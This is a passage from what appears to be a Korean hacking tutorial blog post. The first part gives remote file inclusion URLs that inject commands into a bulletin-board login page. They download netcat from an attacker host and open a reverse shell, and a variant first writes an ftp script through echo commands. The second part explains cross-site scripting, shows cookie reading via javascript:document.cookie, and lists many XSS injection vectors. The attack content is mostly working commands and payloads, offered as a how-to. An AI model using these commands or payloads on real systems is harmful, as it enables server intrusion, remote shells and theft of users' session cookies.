[web browser]
1. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
2. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=wget http://61.240.10.9/nc
3. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc
4. http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=/tmp/nc -e /bin/bash 61.240.10.9 8888

- netcat이 정상적으로 실행되었다면 공격자의 터미널 창에 연결이 되었음을 나타내는 메시지가 보일 것이다. 그런데 만약 공격대상 서버에 wget 이라는 프로그램이 없다면 위와 같은 공격은 되지 않을 것이다. 이 경우 ftp를 이용하여 공격대상 서버가 공격자의 서버에 접속하여 netcat을 다운로드 하도록 할 수가 있다. ftp에 대한 명령어들이 들어 있는 파일을 생성해서 공격대상의 서버에서 실행하면 받을 수 있다.

[공격자]
# cat > ftpdown.txt
open 61.240.10.9 // nc를 다운 받을 ftp 사이트 주소
user hacker hacker // id & password
bin // 바이너리 모드로 전환
get nc //nc 다운로드
quit // 접속종료
^D

# nc -l -p 8888

[공격대상]
# ftp -n < ftpdown.txt // ftpdown.txt에 있는 내용을 한 라인씩 읽어서 ftp 실행

- 그러나 이 경우 ftpdown.txt라는 파일을 공격대상 서버에 업로드 하는 일도 힘들 경우 웹 브라우저를 통해 위의 과정을 모두 처리할 수 있다.

http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo open 61.240.10.9 > /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo user hacker hacker >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo bin >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo get nc >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=echo quit >> /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=cd /tmp; ftp -n < /tmp/ftpdown.txt
http://10.1.1.9/bbs/login.php?file=http://61.240.10.9/test.php?cmd=chmod 777 /tmp/nc; /tmp/nc -e /bin/bash 61.240.10.9 8888

- ftp라는 명령은 대부분의 서버에서 실행이 가능하므로 위의 공격은 성공적으로 이루어지지만 웹 서버의 access_log나 error_log에 로그가 많이 남기 때문에 위험이 따른다.


6. Cross-Site Scripting(XSS)



- XSS라고 불리우는 Cross Site Scripting은 공격 대상을 서버에서 개인 사용자로 만드는데 가장 큰 역할을 하였다. 웹 서버는 단지 중간 매개체 역할을 할 뿐이다.

- 공격자들은 웹 어플리케이션을 이용하여 다른 사용자에게 자바 스크립트 같은 악성 코드를 보내고 공격 대상자가 이 코드를 읽었을 때 이 사용자의 정보를 공격자에게 보내지게 된다.

- 공격자는 공격대상자에게 악성코드가 담긴 이메일을 보내거나 특정 사이트의 게시판에 악성코드를 추가하여 게시물을 작성하여 다른 사용자들이 글을 읽기만 하여도 코드가 실행되게 하기도 한다. 심지어는 공격자가 직접 사이트를 구축하기도 한다.

- 이런 공격이 공격자의 의도대로 이루어지게 되면 사용자들의 계정 정보를 하이재킹하여 사용자 정보를 수정하거나 쿠키를 조작하여 개인정보를 수정하기도 한다. 또는 이 공격을 통해 획득된 다른 사용자의 계정을 도용하여 스팸메일을 보내기도 한다. 이런 공격이 이루어지게 하는 코드들로는 JavaScript, VBScript, ActiveX, Flash등이 있다.

- 웹 브라우저에 다음과 같이 입력해 보면.

javascript:document.cookie;

- 아이디와 패스워드 뿐만 아니라 쿠키 정보를 가지고 인증을 하기 때문에 쿠키가 악의적인 사용자의 손에 들어가게 된다면 그 악의적인 사용자는 다른 사용자인 것처럼 접속이 가능해진다.

- XSS 코드는 다음과 같이 사용할 수 있다.

<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]">
<input type="image" dynsrc="javascript:[code]">
<bgsound src="javascript:[code]">
&<script>[code]</script>
&{[code]};
<img src=&{[code]};>
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]">
<img src="mocha:[code]">
<img src="livescript:[code]">
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);">
<div style="binding: url([link to code]);">
<div style="width: expression([code]);">
<style type="text/javascript">[code]</style>
<object classid="clsid:..." codebase="javascript:[code]">
<style><!--</style><script>[code]//--></script>
<![CDATA[<!--]]><script>[code]//--></script>
<!-- -- --><script>[code]</script><!-- -- -->
<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script>


// linuxerhan.blogspot.com/2007_01_14_archive.html

+ Recent posts